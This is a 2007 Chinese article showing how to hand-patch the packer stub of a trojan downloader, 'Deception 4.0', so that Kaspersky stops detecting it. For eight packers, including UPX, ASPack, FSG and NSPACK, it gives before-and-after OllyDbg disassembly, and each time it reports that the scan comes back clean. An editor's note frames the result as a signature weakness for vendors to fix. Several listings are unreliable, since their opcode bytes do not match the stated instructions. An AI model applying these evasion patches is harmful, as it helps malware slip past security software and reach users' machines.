51testing 2007-12-13 13:39
简单修改木马壳头让卡巴斯基哑口无言
[b]简介:在众多反病毒产品中,[/b][url=http://product.it168.com/list/b/05092107_1.shtml][b]卡巴斯基[/b][/url][b]在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。[/b] “小样,你以为你穿了马甲我就不认识你了?”这句台词耳熟能详。现在用户用这句话来形容反病毒厂商的脱壳技术。这项技术的产生与病毒程序编写者使用的“加壳”技术密切相关。
众所周知,所谓“加壳”就是一种通过一系列数学运算,将可执行程序文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。一切操作自动完成,用户不知道也无需知道壳程序是如何运行的。一般情况下,加壳程序和未加壳程序的运行结果是一样的。
面对病毒编写者为其病毒“加壳”的问题,反病毒厂商自然而然地采用“脱壳”技术。脱壳的一般流程包括,查壳、寻找OEP(入口点,防止被破解)、Dump(卸出)、修复等步骤。目前,脱壳能力强弱则成为[url=http://product.it168.com/list/b/0509_1.shtml]杀毒软件[/url]查杀病毒能力如何的重要衡量指标。
病毒编写者与反病毒厂商之间新一轮博弈在“加壳”与“脱壳”两个共生技术之间展开了。
在众多反病毒产品中,卡巴斯基在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。
笔者随便在[url=http://net.it168.com/]网络[/url]上下了一个国外的下载者Deception4.0(以下简称DT)。卡巴是杀它的,不然测试就没法进行了。虽然只修改了加在DT上的9,但是按照这种方式加在其他的可执行文件上卡巴也是不报毒的,其中修改后的程序保证了程序的可再运行,不然这种修改是无意义的测试。开始操作,下面准备了八个最常见的壳。
[b]一、首先对NSPACK3.6的测试[/b]
用OD载入被加过NSPACK壳的DT,复制出前十几行,如下(蓝色加粗是要被修改的部位,以下格式如一)
004CF302 E8 00000000 call 复件_(2).004CF307
004CF307 5D pop ebp
[color=#0000ff][b]004CF308 83C5 F9 sub ebp,7[/b][/color]
004CF30B 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4]
004CF311 8338 01 cmp dword ptr ds:[eax],1
004CF314 0F84 47020000 je 复件_(2).004CF561
004CF31A C700 01000000 mov dword ptr ds:[eax],1
004CF320 8BD5 mov edx,ebp
004CF322 2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160]
004CF328 8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx
[color=#0000ff][b]004CF32E 1195 D0FEFFFF add dword ptr ss:[ebp-130],edx
[/b][/color] 004CF334 8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC]
[color=#0000ff][b]004CF33A 1116 add dword ptr ds:[esi],edx[/b][/color]
修改成如下(红色部分)
004CF302 E8 00000000 call 复件_(2).004CF307
004CF307 5D pop ebp
[color=#ff0000][b]004CF308 83C5 F9 add ebp,-7[/b][/color]
004CF30B 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4]
004CF311 8338 01 cmp dword ptr ds:[eax],1
004CF314 0F84 47020000 je 复件_(2).004CF561
004CF31A C700 01000000 mov dword ptr ds:[eax],1
004CF320 8BD5 mov edx,ebp
004CF322 2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160]
004CF328 8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx
[color=#ff0000][b]004CF32E 1195 D0FEFFFF adc dword ptr ss:[ebp-130],edx[/b][/color]
004CF334 8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC]
[color=#ff0000][b]004CF33A 1116 adc dword ptr ds:[esi],edx[/b][/color]
之后保存文件,用卡巴扫描,不再报毒。
[b]二、FSG2.0的测试[/b]
OD载入被FSG2.0加了壳的DT
复制出前十几行,如下
00400154 f> 8725 2C115300 xchg dword ptr ds:[53112C],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
[color=#0000ff][b]00400162 ^ 77 F9 jnb short fsg2_0.0040015D[/b][/color]
00400164 33C9 xor ecx,ecx
00400166 FF13 call dword ptr ds:[ebx]
[color=#0000ff][b]00400168 77 16 jnb short fsg2_0.00400180[/b][/color]
0040016A 33C0 xor eax,eax
修改后如下
00400154 f> 8725 2C115300 xchg dword ptr ds:[53112C],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
[color=#ff0000][b]00400162 ^ 77 F9 ja short fsg2_0.0040015D[/b][/color]
00400164 33C9 xor ecx,ecx
00400166 FF13 call dword ptr ds:[ebx]
[color=#ff0000][b]00400168 77 16 ja short fsg2_0.00400180[/b][/color]
0040016A 33C0 xor eax,eax
卡巴扫描,不再报毒。
[b] 三、winupack的测试[/b]
[b] [/b]OD载入被加了壳的DT,如下
[b] [/b]00526740 w> 60 pushad
[b] [/b]00526741 E8 09000000 call winupack.0052674F
[b] [/b]00526746 BE 651200E9 mov esi,E9001265
[b] [/b]0052674B 06 push es
[color=#0000ff][b] 0052674C 1200 add al,byte ptr ds:[eax]
0052674E 1033 add byte ptr ds:[ebx],dh[/b][/color]
[b] [/b]00526750 C9 leave
[b] [/b]00526751 5E pop esi
[b] [/b]00526752 870E xchg dword ptr ds:[esi],ecx
[b] [/b]00526754 ^ E3 F4 jecxz short winupack.0052674A
[b] [color=#0000ff]00526756 1BF1 sub esi,ecx[/color][/b]
[b] [/b]00526758 8BDE mov ebx,esi
[b] [/b]0052675A AD lods dword ptr ds:[esi]
[b] [color=#0000ff]0052675B 1BD8 sub ebx,eax[/color][/b]
[b] [/b]0052675D AD lods dword ptr ds:[esi]
[b] [/b]做了修改的如下
[b] [/b]00526740 w> 60 pushad
[b] [/b]00526741 E8 09000000 call winupack.0052674F
[b] [/b]00526746 BE 651200E9 mov esi,E9001265
[b] [/b]0052674B 06 push es
[color=#ff0000] 0052674C 1200 adc al,byte ptr ds:[eax]
0052674E 1033 adc byte ptr ds:[ebx],dh[/color]
[b] [/b]00526750 C9 leave
[b] [/b]00526751 5E pop esi
[b] [/b]00526752 870E xchg dword ptr ds:[esi],ecx
[b] [/b]00526754 ^ E3 F4 jecxz short winupack.0052674A
[b] [color=#ff0000]00526756 1BF1 sbb esi,ecx[/color][/b]
[b] [/b]00526758 8BDE mov ebx,esi
[b] [/b]0052675A AD lods dword ptr ds:[esi]
[b] [color=#ff0000]0052675B 1BD8 sbb ebx,eax[/color][/b]
[b] [/b]0052675D AD lods dword ptr ds:[esi]
[b] [/b]卡巴扫描,不再报毒。
[b] 四、ASPack的修改[/b]
[b] [/b]同样OD载入复制出前面的十几行反汇编代码,注意这个在载入之后把滚动条再向上拉一行。复制出来如下
[b] [/b]004CC000 90 nop
[b] [/b]004CC001 a> 60 pushad
[b] [/b]004CC002 E8 03000000 call asp.004CC00A
[b] [/b]004CC007 - E9 EB045D45 jmp 45A9C4F7
[b] [/b]004CC00C 55 push ebp
[b] [/b]004CC00D C3 retn
[b] [/b]004CC00E E8 01000000 call asp.004CC014
[b] [/b]004CC013 EB 5D jmp short asp.004CC072
[b] [/b]004CC015 BB EDFFFFFF mov ebx,-13
[b] [/b]004CC01A 03DD add ebx,ebp
[b] [/b]004CC01C 81EB 00C00C00 sub ebx,0CC000
[b] [/b]004CC022 83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
[b] [/b]修改后如下,对照前面地址一一对应的修改
[b] [/b]004CC000 60 pushad
[b] [/b]004CC001 a> 90 nop
[b] [/b]004CC002 E8 03000000 call asp.004CC00A
[b] [/b]004CC007 E8 EB045D45 call 45A9C4F7
[b] [/b]004CC00C 55 push ebp
[b] [/b]004CC00D C3 retn
[b] [/b]004CC00E E8 01000000 call asp.004CC014
[b] [/b]004CC013 73 5D jnb short asp.004CC072
[b] [/b]004CC015 BB EDFFFFFF mov ebx,-13
[b] [/b]004CC01A 11EB adc ebx,ebp
[b] [/b]004CC01C 81C3 0040F3FF add ebx,FFF34000
[b] [/b]004CC022 83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
卡巴扫描,不再报毒。
[b] 五 JDPACK的修改[/b]
[b] [/b]这个是修改最复杂的一个。几乎面目全非了。但是能够保证运行的。修改前,如下
[color=#0000ff] 004CC000 复> 60 pushad
004CC001 E8 00000000 call 复件_(8).004CC006
004CC006 5D pop ebp
004CC007 8BD5 mov edx,ebp
004CC009 81ED C62B4000 sub ebp,复件_(8).00402BC6
004CC00F 2B95 61344000 sub edx,dword ptr ss:[ebp+403461]
004CC015 81EA 06000000 sub edx,6
004CC01B 8995 65344000 mov dword ptr ss:[ebp+403465],edx[/color]
[b] [/b]004CC021 83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
[b] [/b]修改后的
[color=#ff0000] 004CC000 复> 90 nop
004CC001 E8 00000000 call 复件_(8).004CC006
004CC006 5D pop ebp
004CC007 8BC5 mov eax,ebp
004CC009 8BD0 mov edx,eax
004CC00B 81ED C62B4000 sub ebp,复件_(8).00402BC6
004CC011 2B95 61344000 sub edx,dword ptr ss:[ebp+403461]
004CC017 83C2 FA add edx,-6
004CC01A 8995 65344000 mov dword ptr ss:[ebp+403465],edx
004CC020 90 nop[/color]
[b] [/b]004CC021 83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
[b] [/b]这个真的是让我改的面目全非了 ,不过你可以把004CC021前面的都NOP掉,然后一行一行汇编上去就可以了。
[b] [/b][b]六、UPX的修改[/b]
[b] [/b]UPX可以说是免费的最经典的压缩壳。我门来修改一下,OD载入。修改前,如下
[b] [/b]004CE240 复> 60 pushad
[b] [/b]004CE241 BE 00504700 mov esi,复件_(2).00475000
[b] [/b]004CE246 8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000]
[b] [/b]004CE24C C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
[b] [/b]004CE256 57 push edi
[b] [/b]004CE257 83CD FF or ebp,FFFFFFFF
[color=#0000ff] 004CE25A EB 0E jmp short 复件_(2).004CE26A
004CE25C 90 nop
004CE25D 90 nop
004CE25E 90 nop
004CE25F 90 nop[/color]
[b] [/b]004CE260 8A06 mov al,byte ptr ds:[esi]
[b] [/b]修改后如下
[b] [/b]004CE240 复> 60 pushad
[b] [/b]004CE241 BE 00504700 mov esi,复件_(2).00475000
[b] [/b]004CE246 8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000]
[b] [/b]004CE24C C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
[b] [/b]004CE256 57 push edi
[b] [/b]004CE257 83CD FF or ebp,FFFFFFFF
[color=#ff0000] 004CE25A 77 0E ja short 复件_(2).004CE26A
004CE25C 73 0C jnb short 复件_(2).004CE26A
004CE25E 72 0A jb short 复件_(2).004CE26A[/color]
[b] [/b]004CE260 8A06 mov al,byte ptr ds:[esi]
卡巴扫描,不再报毒。
[b][b] [/b]七、NSPACK1.1的修改[/b]
[b][b] [/b][/b]看了一下这个和3.6版本不是一个样子的,所以这个也修改下。这个最简单一个指令卡巴就不发出那难听的叫声了。OD载入,如下
[b][b] [/b][/b]004CF600 复> 9C pushfd
[b][b] [/b][/b]004CF601 60 pushad
[b][b] [/b][color=#0000ff]004CF602 68 07F64C00 call 复件_(4).004CF607[/color][/b]
[b][b] [/b][/b]004CF607 5D pop ebp
[b][b] [/b][/b]修改如下
[b][b] [/b][/b]004CF600 复> 9C pushfd
[b][b] [/b][/b]004CF601 60 pushad
[b][b] [/b][color=#ff0000]004CF602 68 07F64C00 push 复件_(4).004CF607[/color][/b]
[b][b] [/b][/b]004CF607 5D pop ebp
[b][b] [/b]八、堀北压缩(KBYS)0.28的修改[/b]
[b][b] [/b][/b]这个壳可以和UPX相媲美的压缩壳,但是没有UPX那么著名,只要是它压缩过的,卡巴大叔们都一路[url=http://product.it168.com/list/b/04181292_1.shtml]KILL[/url]。简单修改下,卡巴大叔安静了。OD载入,前四行如下
[color=#0000ff][b][b] [/b]00401000 复> E8 F8C10C00 push 复件_(5).004CD1FD
[b] [/b]00401005 68 0B104000 call 复件_(5).0040100B ; 入口地址[/b][/color]
[b][b] [/b][/b]0040100A \. C3 retn
[b][b] [/b][/b]0040100B $ C3 retn
[b][b] [/b][/b]修改如下
[color=#ff0000][b][b] [/b]00401000 复> E8 F8C10C00 call 复件_(5).004CD1FD
[b] [/b]00401005 68 0B104000 push 复件_(5).0040100B ; 入口地址[/b][/color]
[b][b] [/b][/b]0040100A \. C3 retn
[b][b] [/b][/b]0040100B $ C3 retn
[b][b] [/b][/b]以上是列举了八种壳,都是通过壳头的简单修改,就使得卡巴这个号称虚拟脱壳杀毒很强的世界顶级杀软沉默了,当然我们抛开它目前的主动防御杀毒,单从文件查杀上做了一次测试,
[b][b] [/b][/b]从中似乎能分析出卡巴对于脱壳,也似乎是象特征码那样,将壳的特征入库了,然后在利用脱壳引擎把壳脱掉去杀毒。如果这样,那许多壳的特征卡巴只放在了壳的头部,尤其这种压缩形式的壳是这样的,对于某些加密壳,壳头怎样修改都无用。以上也仅仅是一种猜测。
[b] 编者:[/b]作者通过简单的修改,使一个被杀的下载者逃过了[url=http://product.it168.com/list/b/05092107_1.shtml]卡巴斯基[/url]的查杀。其实,现在很多黑客都会通过修改木马的服务端来躲避[url=http://product.it168.com/list/b/0509_1.shtml]杀毒软件[/url]的查杀。本文是以卡巴斯基为例子,相信大多数知名的杀毒软件都会遇到这类难题。编者认为杀毒软件对于一个壳不要简单只识别壳的头部来进行识别,取复合的壳特征码,这样会增加查杀力度。另外从KBYS这个压缩壳上也可以看出一个缺陷,卡巴通杀了加这个壳的可执行文件,但是似乎并未进行脱壳后的再查杀,所以只要让这个壳免杀,那加了壳的文件也就免杀了,杀的不彻底。另外,修改的过程中发现对于一些加密壳卡巴的查杀力度较大,这似乎对于不同种类的壳卡巴有不同的态度,但是纠其作为杀毒软件来说,应该是一次性的彻底取特征码。